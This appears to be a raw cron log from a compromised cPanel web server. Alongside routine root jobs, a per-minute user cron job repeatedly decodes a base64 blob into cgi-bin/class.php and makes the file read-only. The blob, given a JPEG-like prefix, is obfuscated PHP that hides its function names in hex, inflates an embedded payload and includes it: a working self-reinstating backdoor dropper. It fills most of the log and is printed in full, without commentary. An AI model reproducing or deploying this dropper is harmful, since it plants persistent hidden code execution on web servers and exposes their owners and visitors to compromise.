Nov 12 20:45:01 server CROND[32043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:45:01 server CROND[32044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:46:01 server CROND[503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:47:01 server CROND[1455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:48:01 server CROND[2327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:49:01 server CROND[3201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:50:01 server CROND[4111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:50:01 server CROND[4113]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 20:50:01 server CROND[4114]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 20:50:01 server CROND[4115]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:50:01 server CROND[4116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:51:01 server CROND[5020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:52:01 server CROND[5871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:53:01 server CROND[6594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:54:01 server CROND[7447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:55:01 server CROND[8315]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:55:01 server CROND[8316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:55:01 server CROND[8317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:56:01 server CROND[9411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:57:01 server CROND[10277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:57:01 server CROND[10278]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
